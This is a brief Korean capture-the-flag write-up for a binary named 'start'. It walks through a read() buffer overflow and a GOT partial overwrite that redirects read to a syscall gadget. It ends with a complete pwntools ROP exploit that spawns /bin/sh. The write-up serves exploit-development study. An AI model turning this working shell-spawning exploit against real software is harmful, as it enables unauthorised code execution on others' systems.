start
Binary File
1 2 3 4 5 6 7 8 9 sub_4005E6 proc near ; __unwind { push rbp mov rbp, rsp pop rax pop rdx pop rdi pop rsi retn
[sub_4005E6]
4개의 sub 함수 중 4005E6에는 pop gadget이 있다.
1 2 3 4 5 6 7 8 9 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char buf; setvbuf(stdout , 0L L, 2 , 0L L); setvbuf(stdin , 0L L, 2 , 0L L); read(0 , &buf, 0x78 uLL); return 0L L; }
[main]
바이너리 파일을 뜯어보면 sub로 시작하는 함수 4개와 메인함수가 있다.
언뜻봐도 알 수 있듯이 read 함수에서 BOF 취약점이 터지는 것을 확인할 수 있다.
보통은 write 같은 함수가 주어져야 하는데 read 함수밖에 없는 걸로 보아 일반적으로 하는 ROP 기법은 사용할 수 없다. 그래서 같이 주어져 있는 libc 파일에서 syscall 가젯을 사용한다.
주소값의 하위 3비트는 고정적인 값을 지니고 있기 때문에 read의 libc 주소 1 바이트를 syscall의 하위 1 바이트 주소로 바꿔서 보내면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *r = process('./start' ) e = ELF('./start' ) pr = 0x4005ed ppppr = 0x4005ea cmd = "/bin/sh\x00" syscall = "\x7b" payload = "" payload += "A" *24 payload += p64(pr) payload += p64(e.bss()) payload += p64(e.plt['read' ]) payload += p64(pr) payload += p64(e.got['read' ]) payload += p64(e.plt['read' ]) payload += p64(ppppr) payload += p64(59 ) payload += p64(0 ) payload += p64(e.bss()) payload += p64(0 ) payload += p64(e.plt['read' ]) payload += cmd r.sendline(payload) r.send(syscall) r.interactive()
[Exploit Code]